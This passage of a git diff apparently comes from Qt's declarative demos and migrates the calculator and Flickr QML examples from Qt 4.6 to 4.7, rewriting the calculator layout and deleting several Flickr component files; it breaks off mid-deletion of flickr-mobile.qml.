-            curNum.text = curNum.text + op.toString();
-        } else {
-            curNum.text = op;
-        }
-        lastOp = op;
-        return;
-    }
-    lastOp = op;
-
-    // Pending operations
-    if (currentOperation.text == "+") {
-        curNum.text = Number(curNum.text.valueOf()) + Number(curVal.valueOf());
-    } else if (currentOperation.text == "-") {
-        curNum.text = Number(curVal) - Number(curNum.text.valueOf());
-    } else if (currentOperation.text == "x") {
-        curNum.text = Number(curVal) * Number(curNum.text.valueOf());
-    } else if (currentOperation.text == "/") {
-        curNum.text = Number(Number(curVal) / Number(curNum.text.valueOf())).toString();
-    } else if (currentOperation.text == "=") {
-    }
-
-    if (op == "+" || op == "-" || op == "x" || op == "/") {
-        currentOperation.text = op;
-        curVal = curNum.text.valueOf();
-        return;
-    }
-    curVal = 0;
-    currentOperation.text = "";
-
-    // Immediate operations
-    if (op == "1/x") { // reciprocal
-        curNum.text = (1 / curNum.text.valueOf()).toString();
-    } else if (op == "^2") { // squared
-        curNum.text = (curNum.text.valueOf() * curNum.text.valueOf()).toString();
-    } else if (op == "Abs") {
-        curNum.text = (Math.abs(curNum.text.valueOf())).toString();
-    } else if (op == "Int") {
-        curNum.text = (Math.floor(curNum.text.valueOf())).toString();
-    } else if (op == "+/-") { // plus/minus
-        curNum.text = (curNum.text.valueOf() * -1).toString();
-    } else if (op == "Sqrt") { // square root
-        curNum.text = (Math.sqrt(curNum.text.valueOf())).toString();
-    } else if (op == "MC") { // memory clear
-        memory = 0;
-    } else if (op == "M+") { // memory increment
-        memory += curNum.text.valueOf();
-    } else if (op == "MR") { // memory recall
-        curNum.text = memory.toString();
-    } else if (op == "MS") { // memory set
-        memory = curNum.text.valueOf();
-    } else if (op == "Bksp") {
-        curNum.text = curNum.text.toString().slice(0, -1);
-    } else if (op == "C") {
-        curNum.text = "0";
-    } else if (op == "AC") {
-        curVal = 0;
-        memory = 0;
-        lastOp = "";
-        curNum.text ="0";
-    }
-}
-
diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml
index 66705e2..286a4d1 100644
--- a/demos/declarative/calculator/calculator.qml
+++ b/demos/declarative/calculator/calculator.qml
@@ -1,124 +1,106 @@
-import Qt 4.6
+import Qt 4.7
+import "Core"
+import "Core/calculator.js" as CalcEngine
 
 Rectangle {
-    width: 320; height: 270; color: palette.window
-
-    SystemPalette { id: palette }
-    Script { source: "calculator.js" }
-
-    Column {
-        x: 2; spacing: 10;
-
-        Rectangle {
-            id: container
-            width: 316; height: 50
-            border.color: palette.dark; color: palette.base
-
-            Text {
-                id: curNum
-                font.bold: true; font.pointSize: 16
-                color: palette.text
-                anchors.right: container.right
-                anchors.rightMargin: 5
-                anchors.verticalCenter: container.verticalCenter
-            }
+    id: window
 
-            Text {
-                id: currentOperation
-                color: palette.text
-                font.bold: true; font.pointSize: 16
-                anchors.left: container.left
-                anchors.leftMargin: 5
-                anchors.verticalCenter: container.verticalCenter
-            }
-        }
+    width: 480; height: 360
+    color: "#282828"
 
-        Item {
-            width: 320; height: 30
+    property string rotateLeft: "\u2939"
+    property string rotateRight: "\u2935"
+    property string leftArrow: "\u2190"
+    property string division : "\u00f7"
+    property string multiplication : "\u00d7"
+    property string squareRoot : "\u221a"
+    property string plusminus : "\u00b1"
 
-            CalcButton {
-                id: advancedCheckBox
-                x: 55; width: 206
-                operation: "Advanced Mode"
-                toggable: true
-            }
-        }
+    function doOp(operation) { CalcEngine.doOperation(operation) }
 
-        Item {
-            width: 320; height: 160
+    Item {
+        id: main
+        state: (runtime.orientation == Orientation.Portrait) ? '' : 'rotated'
+        width: parent.width; height: parent.height; anchors.centerIn: parent
 
-            Item {
-                id: basicButtons
-                x: 55; width: 160; height: 160
+        Column {
+            id: box; spacing: 8
 
-                CalcButton { operation: "Bksp"; id: bksp; width: 67; opacity: 0 }
-                CalcButton { operation: "C"; id: c; width: 76 }
-                CalcButton { operation: "AC"; id: ac; x: 78; width: 76 }
+            anchors { fill: parent; topMargin: 6; bottomMargin: 6; leftMargin: 6; rightMargin: 6 }
 
-                Grid {
-                    id: numKeypad; y: 32; spacing: 2; columns: 3
-
-                    CalcButton { operation: "7" }
-                    CalcButton { operation: "8" }
-                    CalcButton { operation: "9" }
-                    CalcButton { operation: "4" }
-                    CalcButton { operation: "5" }
-                    CalcButton { operation: "6" }
-                    CalcButton { operation: "1" }
-                    CalcButton { operation: "2" }
-                    CalcButton { operation: "3" }
-                }
+            Row {
+                Display { id: display; width: box.width; height: 64 }
+            }
 
-                Row {
-                    y: 128; spacing: 2
+            Column {
+                id: column; spacing: 6
+
+                property real h: ((box.height - 72) / 6) - ((spacing * (6 - 1)) / 6)
+                property real w: (box.width / 4) - ((spacing * (4 - 1)) / 4)
 
-                    CalcButton { operation: "0"; width: 50 }
-                    CalcButton { operation: "."; x: 77; width: 50 }
-                    CalcButton { operation: "="; id: equals; x: 77;  width: 102 }
+                Row {
+                    spacing: 6
+
+                    Button {
+                        id: rotateButton
+                        width: column.w; height: column.h; color: 'purple'; operation: rotateLeft
+                    }
+                    Button { width: column.w; height: column.h; color: 'purple'; operation: leftArrow }
+                    Button { width: column.w; height: column.h; color: 'purple'; operation: "C" }
+                    Button { width: column.w; height: column.h; color: 'purple'; operation: "AC" }
                 }
 
-                Column {
-                    id: simpleOperations
-                    x: 156; y: 0; spacing: 2
+                Row {
+                    spacing: 6
+                    property real w: (box.width / 4) - ((spacing * (4 - 1)) / 4)
 
-                    CalcButton { operation: "x" }
-                    CalcButton { operation: "/" }
-                    CalcButton { operation: "-" }
-                    CalcButton { operation: "+" }
+                    Button { width: column.w; height: column.h; color: 'green'; operation: "mc" }
+                    Button { width: column.w; height: column.h; color: 'green'; operation: "m+" }
+                    Button { width: column.w; height: column.h; color: 'green'; operation: "m-" }
+                    Button { width: column.w; height: column.h; color: 'green'; operation: "mr" }
                 }
-            }
 
-            Grid {
-                id: advancedButtons
-                x: 350; spacing: 2; columns: 2; opacity: 0
-
-                CalcButton { operation: "Abs" }
-                CalcButton { operation: "Int" }
-                CalcButton { operation: "MC" }
-                CalcButton { operation: "Sqrt" }
-                CalcButton { operation: "MR" }
-                CalcButton { operation: "^2" }
-                CalcButton { operation: "MS" }
-                CalcButton { operation: "1/x" }
-                CalcButton { operation: "M+" }
-                CalcButton { operation: "+/-" }
+                Grid {
+                    id: grid; rows: 4; columns: 5; spacing: 6
+
+                    property real w: (box.width / columns) - ((spacing * (columns - 1)) / columns)
+
+                    Button { width: grid.w; height: column.h; operation: "7"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "8"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "9"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: division }
+                    Button { width: grid.w; height: column.h; operation: squareRoot }
+                    Button { width: grid.w; height: column.h; operation: "4"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "5"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "6"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: multiplication }
+                    Button { width: grid.w; height: column.h; operation: "x^2" }
+                    Button { width: grid.w; height: column.h; operation: "1"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "2"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "3"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "-" }
+                    Button { width: grid.w; height: column.h; operation: "1/x" }
+                    Button { width: grid.w; height: column.h; operation: "0"; color: 'blue' }
+                    Button { width: grid.w; height: column.h; operation: "." }
+                    Button { width: grid.w; height: column.h; operation: plusminus }
+                    Button { width: grid.w; height: column.h; operation: "+" }
+                    Button { width: grid.w; height: column.h; operation: "="; color: 'red' }
+                }
             }
         }
-    }
 
-    states: State {
-        name: "Advanced"; when: advancedCheckBox.toggled == true
-        PropertyChanges { target: basicButtons; x: 0 }
-        PropertyChanges { target: simpleOperations; y: 32 }
-        PropertyChanges { target: bksp; opacity: 1 }
-        PropertyChanges { target: c; x: 69; width: 67 }
-        PropertyChanges { target: ac; x: 138; width: 67 }
-        PropertyChanges { target: equals; width: 50 }
-        PropertyChanges { target: advancedButtons; x: 210; opacity: 1 }
-    }
+        states: State {
+            name: 'rotated'
+            PropertyChanges { target: main; rotation: -90; width: window.height; height: window.width }
+            PropertyChanges { target: rotateButton; operation: rotateRight }
+        }
 
-    transitions: Transition {
-        NumberAnimation { properties: "x,y,width"; easing.type: "OutBounce"; duration: 500 }
-        NumberAnimation { properties: "opacity"; easing.type: "InOutQuad"; duration: 500 }
+        transitions: Transition {
+            SequentialAnimation {
+                PropertyAction { target: rotateButton; property: "operation" }
+                NumberAnimation { properties: "rotation"; duration: 300; easing.type: "InOutQuint" }
+                NumberAnimation { properties: "x,y,width,height"; duration: 300; easing.type: "InOutQuint" }
+            }
+        }
     }
 }
diff --git a/demos/declarative/declarative.pro b/demos/declarative/declarative.pro
index 4d169e3..aa60db0 100644
--- a/demos/declarative/declarative.pro
+++ b/demos/declarative/declarative.pro
@@ -8,6 +8,7 @@ SUBDIRS = \
 sources.files = \
    calculator \
    flickr \
+   photoviewer \
    samegame \
    snake \
    twitter \
diff --git a/demos/declarative/flickr/common/ImageDetails.qml b/demos/declarative/flickr/common/ImageDetails.qml
deleted file mode 100644
index 862eeb1..0000000
--- a/demos/declarative/flickr/common/ImageDetails.qml
+++ /dev/null
@@ -1,160 +0,0 @@
-import Qt 4.6
-import org.webkit 1.0
-
-Flipable {
-    id: container
-
-    property var frontContainer: containerFront
-    property string photoTitle: ""
-    property string photoDescription: ""
-    property string photoTags: ""
-    property int photoWidth
-    property int photoHeight
-    property string photoType
-    property string photoAuthor
-    property string photoDate
-    property string photoUrl
-    property int rating: 2
-    property var prevScale: 1.0
-
-    signal closed
-
-    transform: Rotation {
-        id: detailsRotation
-        origin.y: container.height / 2;
-        origin.x: container.width / 2;
-        axis.y: 1; axis.z: 0
-    }
-
-    front: Item {
-        id: containerFront; anchors.fill: container
-
-        Rectangle {
-            anchors.fill: parent
-            color: "black"; opacity: 0.4
-            border.color: "white"; border.width: 2
-        }
-
-        MediaButton {
-            id: backButton; x: 630; y: 370; text: "Back"
-            onClicked: { container.closed() }
-        }
-
-        MediaButton {
-            id: moreButton; x: 530; y: 370; text: "View..."
-            onClicked: { container.state='Back' }
-        }
-
-        Text { id: titleText; style: Text.Raised; styleColor: "black"; color: "white"; elide: Text.ElideRight
-               x: 220; y: 30; width: parent.width - 240; text: container.photoTitle; font.pointSize: 22 }
-
-        LikeOMeter { x: 40; y: 250; rating: container.rating }
-
-        Flickable { id: flickable; x: 220; width: 480; height: 210; y: 130; clip: true
-                    contentWidth: 480; contentHeight: descriptionText.height
-
-            WebView { id: descriptionText; width: parent.width
-                      html: "<style TYPE=\"text/css\">body {color: white;} a:link {color: cyan; text-decoration: underline; }</style>" + container.photoDescription }
-        }
-
-        Text { id: size; color: "white"; width: 300; x: 40; y: 300
-               text: "<b>Size:</b> " + container.photoWidth + 'x' + container.photoHeight }
-        Text { id: type; color: "white"; width: 300; x: 40; anchors.top: size.bottom
-               text: "<b>Type:</b> " + container.photoType }
-
-        Text { id: author; color: "white"; width: 300; x: 220; y: 80
-               text: "<b>Author:</b> " + container.photoAuthor }
-        Text { id: date; color: "white"; width: 300; x: 220; anchors.top: author.bottom
-               text: "<b>Published:</b> " + container.photoDate }
-        Text { id: tagsLabel; color: "white"; x: 220; anchors.top: date.bottom;
-               text: container.photoTags == "" ? "" : "<b>Tags:</b> " }
-        Text { id: tags; color: "white"; width: parent.width-x-20;
-                anchors.left: tagsLabel.right; anchors.top: date.bottom;
-                elide: Text.ElideRight; text: container.photoTags }
-
-        ScrollBar { id: scrollBar; x: 720; y: flickable.y; width: 7; height: flickable.height; opacity: 0;
-                    flickableArea: flickable; clip: true }
-    }
-
-    back: Item {
-        anchors.fill: container
-
-        Rectangle { anchors.fill: parent; color: "black"; opacity: 0.4; border.color: "white"; border.width: 2 }
-
-        Progress { anchors.centerIn: parent; width: 200; height: 18; progress: bigImage.progress; visible: bigImage.status!=1 }
-        Flickable {
-            id: flick; width: container.width - 10; height: container.height - 10
-            x: 5; y: 5; clip: true;
-            contentWidth: imageContainer.width; contentHeight: imageContainer.height
-
-            Item {
-                id: imageContainer
-                width: Math.max(bigImage.width * bigImage.scale, flick.width);
-                height: Math.max(bigImage.height * bigImage.scale, flick.height);
-
-                Image {
-                    id: bigImage; source: container.photoUrl; scale: slider.value
-                    anchors.centerIn: parent;
-                    smooth: !flick.moving
-                    onStatusChanged : {
-                        // Default scale shows the entire image.
-                        if (status == 1 && width != 0) {
-                            slider.minimum = Math.min(flick.width / width, flick.height / height);
-                            prevScale = Math.min(slider.minimum, 1);
-                            slider.value = prevScale;
-                        }
-                    }
-                }
-            }
-        }
-
-        MediaButton {
-            id: backButton2; x: 630; y: 370; text: "Back"; onClicked: { container.state = '' }
-        }
-        Text {
-            text: "Image Unavailable"
-            visible: bigImage.status == 'Error'
-            anchors.centerIn: parent; color: "white"; font.bold: true
-        }
-
-        Slider {
-            id: slider; x: 25; y: 374; visible: { bigImage.status == 1 && maximum > minimum }
-            onValueChanged: {
-                if (bigImage.width * value > flick.width) {
-                    var xoff = (flick.width/2 + flick.contentX) * value / prevScale;
-                    flick.contentX = xoff - flick.width/2;
-                }
-                if (bigImage.height * value > flick.height) {
-                    var yoff = (flick.height/2 + flick.contentY) * value / prevScale;
-                    flick.contentY = yoff - flick.height/2;
-                }
-                prevScale = value;
-            }
-        }
-    }
-
-    states: [
-        State {
-            name: "Back"
-            PropertyChanges { target: detailsRotation; angle: 180 }
-        }
-    ]
-
-    transitions: [
-        Transition {
-            SequentialAnimation {
-                PropertyAction {
-                    target: bigImage
-                    property: "smooth"
-                    value: false
-                }
-                NumberAnimation { easing.type: "InOutQuad"; properties: "angle"; duration: 500 }
-                PropertyAction {
-                    target: bigImage
-                    property: "smooth"
-                    value: !flick.moving
-                }
-            }
-        }
-    ]
-}
diff --git a/demos/declarative/flickr/common/LikeOMeter.qml b/demos/declarative/flickr/common/LikeOMeter.qml
index 5ee048b..17e3998 100644
--- a/demos/declarative/flickr/common/LikeOMeter.qml
+++ b/demos/declarative/flickr/common/LikeOMeter.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: container
diff --git a/demos/declarative/flickr/common/Loading.qml b/demos/declarative/flickr/common/Loading.qml
index 938a080..8daed48 100644
--- a/demos/declarative/flickr/common/Loading.qml
+++ b/demos/declarative/flickr/common/Loading.qml
@@ -1,8 +1,8 @@
-import Qt 4.6
+import Qt 4.7
 
 Image {
-    id: loading; source: "pics/loading.png"; transformOrigin: "Center"
+    id: loading; source: "pics/loading.png"
     NumberAnimation on rotation {
-        from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900
+        from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900
     }
 }
diff --git a/demos/declarative/flickr/common/MediaButton.qml b/demos/declarative/flickr/common/MediaButton.qml
deleted file mode 100644
index 86ac948..0000000
--- a/demos/declarative/flickr/common/MediaButton.qml
+++ /dev/null
@@ -1,41 +0,0 @@
-import Qt 4.6
-
-Item {
-    id: container
-
-    signal clicked
-
-    property string text
-
-    Image {
-        id: buttonImage
-        source: "pics/button.png"
-    }
-    Image {
-        id: pressed
-        source: "pics/button-pressed.png"
-        opacity: 0
-    }
-    MouseArea {
-        id: mouseRegion
-        anchors.fill: buttonImage
-        onClicked: { container.clicked(); }
-    }
-    Text {
-        font.bold: true
-        color: "white"
-        anchors.centerIn: buttonImage
-        text: container.text
-    }
-    width: buttonImage.width
-    states: [
-        State {
-            name: "Pressed"
-            when: mouseRegion.pressed == true
-            PropertyChanges {
-                target: pressed
-                opacity: 1
-            }
-        }
-    ]
-}
diff --git a/demos/declarative/flickr/common/MediaLineEdit.qml b/demos/declarative/flickr/common/MediaLineEdit.qml
deleted file mode 100644
index 9559f6a..0000000
--- a/demos/declarative/flickr/common/MediaLineEdit.qml
+++ /dev/null
@@ -1,104 +0,0 @@
-import Qt 4.6
-
-Item {
-    id: container
-
-    property string label
-    property string text
-
-    width: Math.max(94,labeltext.width + editor.width + 20)
-    height: buttonImage.height
-
-    states: [
-        State {
-            name: "Edit"
-            PropertyChanges {
-                target: labeltext
-                text: container.label + ": "
-            }
-            PropertyChanges {
-                target: labeltext
-                x: 10
-            }
-            PropertyChanges {
-                target: editor
-                cursorVisible: true
-                width: 100
-            }
-            PropertyChanges {
-                target: container
-                focus: true
-            }
-            StateChangeScript {
-                script:editor.selectAll()
-            }
-        },
-        State {
-            // When returning to default state, typed text is propagated
-            StateChangeScript {
-                script: container.text = editor.text
-            }
-        }
-    ]
-    transitions: [
-        Transition {
-            NumberAnimation { properties: "x,width"; duration: 500; easing.type: "InOutQuad" }
-        }
-    ]
-
-
-    BorderImage {
-        id: buttonImage
-        source: "pics/button.sci"
-        anchors.left: container.left
-        anchors.right: container.right
-    }
-
-    BorderImage {
-        id: pressed
-        source: "pics/button-pressed.sci"
-        opacity: 0
-        anchors.left: container.left
-        anchors.right: container.right
-    }
-
-    MouseArea {
-        id: mouseRegion
-        anchors.fill: buttonImage
-        onClicked: { container.state = container.state=="Edit" ? "" : "Edit" }
-        states: [
-            State {
-                when: mouseRegion.pressed == true
-                PropertyChanges {
-                    target: pressed
-                    opacity: 1
-                }
-            }
-        ]
-    }
-
-    Text {
-        id: labeltext
-        font.bold: true
-        color: "white"
-        anchors.verticalCenter: container.verticalCenter
-        x: (container.width - width)/2
-        text: container.label + "..."
-    }
-
-    TextInput {
-        id: editor
-        font.bold: true
-        color: "white"
-        selectionColor: "green"
-        width: 0
-        clip: true
-        anchors.left: labeltext.right
-        anchors.verticalCenter: container.verticalCenter
-    }
-    Keys.forwardTo: [(returnKey), (editor)]
-    Item {
-        id: returnKey
-        Keys.onReturnPressed: "container.state = ''"
-    }
-}
diff --git a/demos/declarative/flickr/common/Progress.qml b/demos/declarative/flickr/common/Progress.qml
index fd9be10..f4d25a4 100644
--- a/demos/declarative/flickr/common/Progress.qml
+++ b/demos/declarative/flickr/common/Progress.qml
@@ -1,7 +1,7 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
-    property var progress: 0
+    property variant progress: 0
 
     Rectangle {
         anchors.fill: parent; smooth: true
diff --git a/demos/declarative/flickr/common/RssModel.qml b/demos/declarative/flickr/common/RssModel.qml
index ed9fd5c..d0960db 100644
--- a/demos/declarative/flickr/common/RssModel.qml
+++ b/demos/declarative/flickr/common/RssModel.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 XmlListModel {
     property string tags : ""
diff --git a/demos/declarative/flickr/common/ScrollBar.qml b/demos/declarative/flickr/common/ScrollBar.qml
index feebcb0..4022d23 100644
--- a/demos/declarative/flickr/common/ScrollBar.qml
+++ b/demos/declarative/flickr/common/ScrollBar.qml
@@ -1,9 +1,9 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: container
 
-    property var flickableArea
+    property variant flickableArea
 
     Rectangle {
         radius: 5
diff --git a/demos/declarative/flickr/common/Slider.qml b/demos/declarative/flickr/common/Slider.qml
index 05a87e7..4da370e 100644
--- a/demos/declarative/flickr/common/Slider.qml
+++ b/demos/declarative/flickr/common/Slider.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: slider; width: 400; height: 16
diff --git a/demos/declarative/flickr/common/Star.qml b/demos/declarative/flickr/common/Star.qml
index 748a5ec..fcca742 100644
--- a/demos/declarative/flickr/common/Star.qml
+++ b/demos/declarative/flickr/common/Star.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: container
diff --git a/demos/declarative/flickr/common/qmldir b/demos/declarative/flickr/common/qmldir
index 0c94f60..adc2479 100644
--- a/demos/declarative/flickr/common/qmldir
+++ b/demos/declarative/flickr/common/qmldir
@@ -1,10 +1,10 @@
-ImageDetails 0.0 ImageDetails.qml
-LikeOMeter 0.0 LikeOMeter.qml
-Loading 0.0 Loading.qml
-MediaButton 0.0 MediaButton.qml
-MediaLineEdit 0.0 MediaLineEdit.qml
-Progress 0.0 Progress.qml
-RssModel 0.0 RssModel.qml
-ScrollBar 0.0 ScrollBar.qml
-Slider 0.0 Slider.qml
-Star 0.0 Star.qml
+ImageDetails ImageDetails.qml
+LikeOMeter LikeOMeter.qml
+Loading Loading.qml
+MediaButton MediaButton.qml
+MediaLineEdit MediaLineEdit.qml
+Progress Progress.qml
+RssModel RssModel.qml
+ScrollBar ScrollBar.qml
+Slider Slider.qml
+Star Star.qml
diff --git a/demos/declarative/flickr/flickr-90.qml b/demos/declarative/flickr/flickr-90.qml
new file mode 100644
index 0000000..d1830bf
--- /dev/null
+++ b/demos/declarative/flickr/flickr-90.qml
@@ -0,0 +1,11 @@
+import Qt 4.7
+
+Item {
+    width: 480; height: 320
+
+    Loader {
+        y: 320; rotation: -90
+        transformOrigin: Item.TopLeft
+        source: "flickr.qml"
+    }
+}
diff --git a/demos/declarative/flickr/flickr-desktop.qml b/demos/declarative/flickr/flickr-desktop.qml
deleted file mode 100644
index 99216cb..0000000
--- a/demos/declarative/flickr/flickr-desktop.qml
+++ /dev/null
@@ -1,194 +0,0 @@
-import Qt 4.6
-
-import "common"
-
-Item {
-    id: mainWindow; width: 800; height: 450
-
-    property bool showPathView : false
-
-    resources: [
-        Component {
-        id: photoDelegate
-        Item {
-            id: wrapper; width: 85; height: 85
-            scale: wrapper.PathView.scale ? wrapper.PathView.scale : 1
-            z: wrapper.PathView.z ? wrapper.PathView.z : 0
-
-            transform: Rotation {
-                id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2
-                axis.y: 1; axis.z: 0
-                angle: wrapper.PathView.angle ? wrapper.PathView.angle : 0
-            }
-
-            Connections {
-                target: imageDetails
-                onClosed: {
-                    if (wrapper.state == 'Details') {
-                        wrapper.state = '';
-                        imageDetails.photoUrl = "";
-                    }
-                }
-            }
-
-            Script {
-               function photoClicked() {
-                   imageDetails.photoTitle = title;
-                   imageDetails.photoDescription = description;
-                   imageDetails.photoTags = tags;
-                   imageDetails.photoWidth = photoWidth;
-                   imageDetails.photoHeight = photoHeight;
-                   imageDetails.photoType = photoType;
-                   imageDetails.photoAuthor = photoAuthor;
-                   imageDetails.photoDate = photoDate;
-                   imageDetails.photoUrl = url;
-                   imageDetails.rating = 0;
-                   wrapper.state = "Details";
-               }
-            }
-
-            Rectangle {
-                id: whiteRect; anchors.fill: parent; color: "white"; radius: 5
-
-                Loading { x: 26; y: 26; visible: thumb.status!=1 }
-                Image { id: thumb; source: imagePath; x: 5; y: 5 }
-
-                Item {
-                    id: shadows
-                    Image { source: "common/pics/shadow-right.png"; x: whiteRect.width; height: whiteRect.height }
-                    Image { source: "common/pics/shadow-bottom.png"; y: whiteRect.height; width: whiteRect.width }
-                    Image { id: corner; source: "common/pics/shadow-corner.png"; x: whiteRect.width; y: whiteRect.height }
-                }
-            }
-
-            MouseArea { anchors.fill: wrapper; onClicked: { photoClicked() } }
-
-            states: [
-                State {
-                    name: "Details"
-                    PropertyChanges { target: imageDetails; z: 2 }
-                    ParentChange { target: wrapper; parent: imageDetails.frontContainer }
-                    PropertyChanges { target: wrapper; x: 45; y: 35; scale: 1; z: 1000 }
-                    PropertyChanges { target: itemRotation; angle: 0 }
-                    PropertyChanges { target: shadows; opacity: 0 }
-                    PropertyChanges { target: imageDetails; y: 20 }
-                    PropertyChanges { target: photoGridView; y: -480 }
-                    PropertyChanges { target: photoPathView; y: -480 }
-                    PropertyChanges { target: viewModeButton; opacity: 0 }
-                    PropertyChanges { target: tagsEdit; opacity: 0 }
-                    PropertyChanges { target: fetchButton; opacity: 0 }
-                    PropertyChanges { target: categoryText; y: "-50" }
-                }
-            ]
-
-            transitions: [
-                Transition {
-                    from: "*"; to: "Details"
-                    SequentialAnimation {
-                        ParentAction { }
-                        NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" }
-                    }
-                },
-                Transition {
-                    from: "Details"; to: "*"
-                    SequentialAnimation {
-                        ParentAction { }
-                        NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" }
-                        PropertyAction { targets: wrapper; properties: "z" }
-                    }
-                }
-            ]
-
-        }
-        }
-    ]
-
-    Item {
-        id: background
-
-        anchors.fill: parent
-
-        Image { source: "common/pics/background.png"; anchors.fill: parent }
-        RssModel { id: rssModel; tags : tagsEdit.text }
-        Loading { anchors.centerIn: parent; visible: rssModel.status == 2 }
-
-        GridView {
-            id: photoGridView; model: rssModel; delegate: photoDelegate; cacheBuffer: 100
-            cellWidth: 105; cellHeight: 105; x:32; y: 80; width: 800; height: 330; z: 1
-        }
-
-        PathView {
-            id: photoPathView; model: rssModel; delegate: photoDelegate
-            y: -380; width: 800; height: 330; pathItemCount: 10; z: 1
-            path: Path {
-                startX: -50; startY: 40;
-
-                PathAttribute { name: "scale"; value: 1 }
-                PathAttribute { name: "angle"; value: -45 }
-
-                PathCubic {
-                    x: 400; y: 220
-                    control1X: 140; control1Y: 40
-                    control2X: 210; control2Y: 220
-                }
-
-                PathAttribute { name: "scale"; value: 1.2  }
-                PathAttribute { name: "z"; value: 1 }
-                PathAttribute { name: "angle"; value: 0 }
-
-                PathCubic {
-                    x: 850; y: 40
-                    control2X: 660; control2Y: 40
-                    control1X: 590; control1Y: 220
-                }
-
-                PathAttribute { name: "scale"; value: 1 }
-                PathAttribute { name: "angle"; value: 45 }
-            }
-
-        }
-
-        ImageDetails { id: imageDetails; width: 750; x: 25; y: 500; height: 410 }
-
-        MediaButton {
-            id: viewModeButton; x: 680; y: 410; text: "View Mode"
-            onClicked: { if (mainWindow.showPathView == true) mainWindow.showPathView = false; else mainWindow.showPathView = true }
-        }
-
-        MediaButton {
-            id: fetchButton
-            text: "Update"
-            anchors.right: viewModeButton.left; anchors.rightMargin: 5
-            anchors.top: viewModeButton.top
-            onClicked: { rssModel.reload(); }
-        }
-
-        MediaLineEdit {
-            id: tagsEdit;
-            label: "Tags"
-            anchors.right: fetchButton.left; anchors.rightMargin: 5
-            anchors.top: viewModeButton.top
-        }
-
-        states: State {
-            name: "PathView"
-            when: mainWindow.showPathView == true
-            PropertyChanges { target: photoPathView; y: 80 }
-            PropertyChanges { target: photoGridView; y: -380 }
-        }
-
-        transitions: [
-            Transition {
-                from: "*"; to: "*"
-                NumberAnimation { properties: "y"; duration: 1000; easing.type: "OutBounce"; easing.amplitude: 0.5 }
-            }
-        ]
-    }
-
-    Text {
-        id: categoryText;  anchors.horizontalCenter: parent.horizontalCenter; y: 15;
-        text: "Flickr - " +
-            (rssModel.tags=="" ? "Uploads from everyone" : "Recent Uploads tagged " + rssModel.tags)
-        font.pointSize: 20; font.bold: true; color: "white"; style: Text.Raised; styleColor: "black"
-    }
-}
diff --git a/demos/declarative/flickr/flickr-mobile-90.qml b/demos/declarative/flickr/flickr-mobile-90.qml
deleted file mode 100644
index 9fec242..0000000
--- a/demos/declarative/flickr/flickr-mobile-90.qml
+++ /dev/null
@@ -1,11 +0,0 @@
-import Qt 4.6
-
-Item {
-    width: 480; height: 320
-
-    Loader {
-        y: 320; rotation: -90
-        transformOrigin: Item.TopLeft
-        source: "flickr-mobile.qml"
-    }
-}
diff --git a/demos/declarative/flickr/flickr-mobile.qml b/demos/declarative/flickr/flickr-mobile.qml
deleted file mode 100644
index 21e4c49..0000000
--- a/demos/declarative/flickr/flickr-mobile.qml
+++ /dev/null
@@ -1,82 +0,0 @@
-import Qt 4.6
-import "common" as Common
-import "mobile" as Mobile
-
-Item {
-    id: screen; width: 320; height: 480
-    property bool inListView : false
-
-    Rectangle {
-        id: background
-        anchors.fill: parent; color: "#343434";
-
-        Image { source: "mobile/images/stripes.png"; fillMode: Image.Tile; anchors.fill: parent; opacity: 0.3 }
-
-        Common.RssModel { id: rssModel }
-        Common.Loading { anchors.centerIn: parent; visible: rssModel.status == 2 }
-
-        Item {
-            id: views
-            x: 2; width: parent.width - 4
-            anchors.top: titleBar.bottom; anchors.bottom: toolBar.top
-
-            Mobile.GridDelegate { id: gridDelegate }
-            GridView {
-                id: photoGridView; model: rssModel; delegate: gridDelegate; cacheBuffer: 100
-                cellWidth: 79; cellHeight: 79; width: parent.width; height: parent.height - 1; z: 6
-            }
-
-            Mobile.ListDelegate { id: listDelegate }
-            ListView {
-                id: photoListView; model: rssModel; delegate: listDelegate; z: 6
-                width: parent.width; height: parent.height; x: -(parent.width * 1.5); cacheBuffer: 100;
-            }
-            states: State {
-                name: "ListView"; when: screen.inListView == true
-                PropertyChanges { target: photoListView; x: 0 }
-                PropertyChanges { target: photoGridView; x: -(parent.width * 1.5) }
-            }
-
-            transitions: Transition {
-                NumberAnimation { properties: "x"; duration: 500; easing.type: "InOutQuad" }
-            }
-        }
-
-        Mobile.ImageDetails { id: imageDetails; width: parent.width; anchors.left: views.right; height: parent.height; z:1 }
-        Mobile.TitleBar { id: titleBar; z: 5; width: parent.width; height: 40; opacity: 0.9 }
-
-        Mobile.ToolBar {
-            id: toolBar; z: 5
-            height: 40; anchors.bottom: parent.bottom; width: parent.width; opacity: 0.9
-            button1Label: "Update"; button2Label: "View mode"
-            onButton1Clicked: rssModel.reload()
-            onButton2Clicked: if (screen.inListView == true) screen.inListView = false; else screen.inListView = true
-        }
-
-        Connections {
-            target: imageDetails
-            onClosed: {
-                if (background.state == "DetailedView") {
-                    background.state = '';
-                    imageDetails.photoUrl = "";
-                }
-            }
-        }
-
-        states: State {
-            name: "DetailedView"
-            PropertyChanges { target: views; x: -parent.width }
-            PropertyChanges { target: toolBar; button1Label: "More..." }
-            PropertyChanges {
